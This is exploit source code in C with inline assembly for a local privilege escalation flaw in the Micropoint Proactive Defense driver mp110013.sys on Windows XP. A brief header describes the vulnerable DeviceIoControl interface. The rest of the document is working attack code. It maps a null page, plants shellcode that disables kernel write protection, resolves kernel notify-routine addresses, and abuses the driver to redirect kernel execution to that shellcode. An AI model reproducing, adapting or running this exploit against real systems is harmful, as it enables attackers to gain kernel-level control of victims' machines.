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/* Micropoint Proactive Denfense Mp110013.sys <= 1.3.10123.0 Local Privilege Escalation Exploit VULNERABLE PRODUCTS Micropoint Proactive Denfense <= 100323.1.2.10581.0285.r1 mp110013.sys <= 1.3.10123.0 DETAILS: mp110013.sys handles DeviceIoControl request which tells driver PspCreateProcessNotifyRoutine/PspCreateProcessNotifyRoutineCount offset ,Attacker can use this interface writekernel memory EXPLOIT CODE */ //write ntdll.dll base + 0x8 with "6543" in kernel mode #include "stdafx.h" #include "windows.h" #include "shlwapi.h" #pragma comment(lib , "shlwapi.lib") VOID __declspec(naked) ShellCode() { __asm { pushad mov eax , cr0 push eax and eax, 0xFFFEFFFF mov cr0 , eax cli mov eax , 0xAAAA5555 mov dword ptr[eax] , 0x33343536 sti pop eax mov cr0 , eax popad ret 0x4 } } VOID __declspec(naked) nopfunc() { __asm{mov edi ,edi nop }; } enum { SystemModuleInformation = 11, SystemHandleInformation = 16 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHARImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; PVOID GetInfoTable(ULONG ATableType) { ULONG mSize = 0x4000; PVOID mPtr = NULL; LONG status; HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation"); do { mPtr = malloc(mSize); if (mPtr) { __asm { push 0 push mSize push mPtr push ATableType call pZwQuerySystemInformation mov status , eax } } else { return NULL; } if (status == 0xc0000004) { free(mPtr); mSize = mSize * 2; } } while (status == 0xc0000004); if (status == 0) { return mPtr; } free(mPtr); return NULL; } typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; DWORD WINAPI LegoThread(LPVOID lpThreadParameter) { while(TRUE) { Sleep(0x1000); } return 0 ; } int main(int argc, char* argv[]) { DWORD dwVersion = 0; DWORD dwMajorVersion = 0; DWORD dwMinorVersion = 0; dwVersion = GetVersion(); // Get the Windows version. dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion))); if (dwMajorVersion != 5 || dwMinorVersion != 1) { printf("POC for XP only\n"); getchar(); return 0 ; } printf("Micropoint Mp110003.sys <= 1.3.10123.0 Local Privilege Escalation Vulnerability POC\n" "by MJ0011 th_decoder$126.com\n" "Press Enter\n"); getchar(); HANDLE hDev = CreateFile("\\\\.\\mp110013" , 0 , FILE_SHARE_READ | FILE_SHARE_WRITE , 0, OPEN_EXISTING,0, 0 ); if (hDev == INVALID_HANDLE_VALUE) { printf("cannot open device %u\n" , GetLastError()); return 0 ; } PVOID BaseAddress = (PVOID) 1; ULONG RegionSize= (ULONG) 0; PVOID pNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory"); PVOID pNtFreeVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtFreeVirtualMemory"); ULONG status ; __asm { push 0x8000 lea eax , RegionSize push eax lea eax , BaseAddress push eax push 0xffffffff call pNtFreeVirtualMemory mov RegionSize,0x1000 push 0x40 push 0x3000 lea eax , RegionSize push eax push 0 lea eax , BaseAddress push eax push 0xffffffff call pNtAllocateVirtualMemory mov status , eax } if (status != 0 ) { printf("allocate 0 memory failed %08x\n" , status); return 0 ; } //set nop code ULONG codesize = (ULONG)nopfunc - (ULONG)ShellCode; memset((PVOID)0 , 0x90 , 0x8); memcpy((PVOID)0x8 , ShellCode , codesize); ULONG i ; for (i = 0x8 ; i < codesize+0x8 ; i++) { if (*(DWORD*)i == 0xAAAA5555) { *(DWORD*)i = (DWORD)(GetModuleHandle("ntdll.dll") + 0x2); break ; } } PSYSTEM_MODULE_INFORMATION pModInfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation); if (pModInfo == 0 ) { printf("get info table failed!\n"); return 0 ; } ULONG Tid ; HANDLE hThread = CreateThread(0 , 0 , LegoThread , 0 , 0 , &Tid); if (hThread == 0 ) { printf("cannot open thread %u\n",GetLastError()); return 0 ; } //SystemHandleInformation=16 PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(16); if (pHandleInfo == 0 ) { printf("cannot get handle info\n"); return 0 ; } ULONG ThreadObject =0; for (i = 0 ; i < pHandleInfo->NumberOfHandles ; i ++) { if (pHandleInfo->Information[i].UniqueProcessId == GetCurrentProcessId() && pHandleInfo->Information[i].HandleValue == (USHORT)hThread) { ThreadObject = (ULONG)pHandleInfo->Information[i].Object; break ; } } if (ThreadObject == 0 ) { printf("cannot get thread object!\n"); return 0 ; } ThreadObject+=0xd0; HMODULE hkernel = LoadLibraryA(strrchr(pModInfo->Module[0].ImageName, '\\') + 1); if (hkernel == 0 ) { printf("kernel mapping error %u\n" , GetLastError()); return 0 ; } ULONG PsSetLegoNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetLegoNotifyRoutine"); ULONG PspLegoNotifyRoutine = 0 ; if (PsSetLegoNotifyRoutine ==0) { printf("PsSetLegoNotifyRoutine==0"); return 0 ; } for (i = PsSetLegoNotifyRoutine ; i < PsSetLegoNotifyRoutine + 0x10 ; i ++) { if (*(BYTE*)i == 0xa3 && *(BYTE*)(i + 5 == 0xb8 ) && *(DWORD*)(i + 6 )==0xd0) { PspLegoNotifyRoutine = *(ULONG*)(i +1); break ; } } if (PspLegoNotifyRoutine == 0 ) { printf("bad PsSetLegoNotifyRoutine\n"); return 0 ; } ULONG PsSetCreateProcessNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetCreateProcessNotifyRoutine"); ULONG PspCreateProcessNotifyRoutine= 0 ; if (PsSetCreateProcessNotifyRoutine==0) { printf("PsSetCreateProcessNotifyRoutine==0!\n"); return 0 ; } for (i = PsSetCreateProcessNotifyRoutine ; i < PsSetCreateProcessNotifyRoutine + 0x30 ; i ++) { if (*(BYTE*)i == 0xbf && *(WORD*)(i + 5) == 0xe857) { PspCreateProcessNotifyRoutine = *(ULONG*)(i + 1); break ; } } if (PspCreateProcessNotifyRoutine ==0) { printf("bad PsSetCreateProcessNotifyRoutine!\n"); return 0 ; } PIMAGE_DOS_HEADER doshdr ; PIMAGE_NT_HEADERS nthdr ; doshdr = (PIMAGE_DOS_HEADER )(hkernel); nthdr = (PIMAGE_NT_HEADERS)((ULONG)hkernel + doshdr->e_lfanew); PspLegoNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase; PspCreateProcessNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase; FreeLibrary(hkernel); ULONG PspLegoNotifyRoutineOff = (ULONG)PspLegoNotifyRoutine - (ULONG)pModInfo->Module[0].Base ; ULONG PspCreateProcessNotifyRoutineOff = (ULONG)PspCreateProcessNotifyRoutine - (ULONG)pModInfo->Module[0].Base; ULONG btr ; ULONG InputBuffer[3] = {0x0 , PspCreateProcessNotifyRoutineOff , PspLegoNotifyRoutineOff }; if (!DeviceIoControl(hDev , 0x800001A4, &InputBuffer , sizeof(ULONG)*3 , NULL, 0, &btr , 0)) { printf("device io control failed %u\n", GetLastError()); return 0 ; } PVOID pNtCreateProcessEx = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateProcessEx"); HANDLE hProc ; __asm { push 0 push 0 push 0 push 0 push 0 push 0x1 push 0 push 0 lea eax ,hProc push eax call pNtCreateProcessEx } ULONG ThreadLegoDataOff = ThreadObject - (ULONG)pModInfo->Module[0].Base ; InputBuffer[2] = ThreadLegoDataOff; if (!DeviceIoControl(hDev , 0x800001A4, &InputBuffer , sizeof(ULONG)*3 , NULL, 0, &btr , 0)) { printf("device io control failed %u\n", GetLastError()); return 0 ; } __asm { push 0 push 0 push 0 push 0 push 0 push 0x1 push 0 push 0 lea eax ,hProc push eax call pNtCreateProcessEx } TerminateThread(hThread , 0 ); printf("POC Executed\n"); getchar(); return 0; } |
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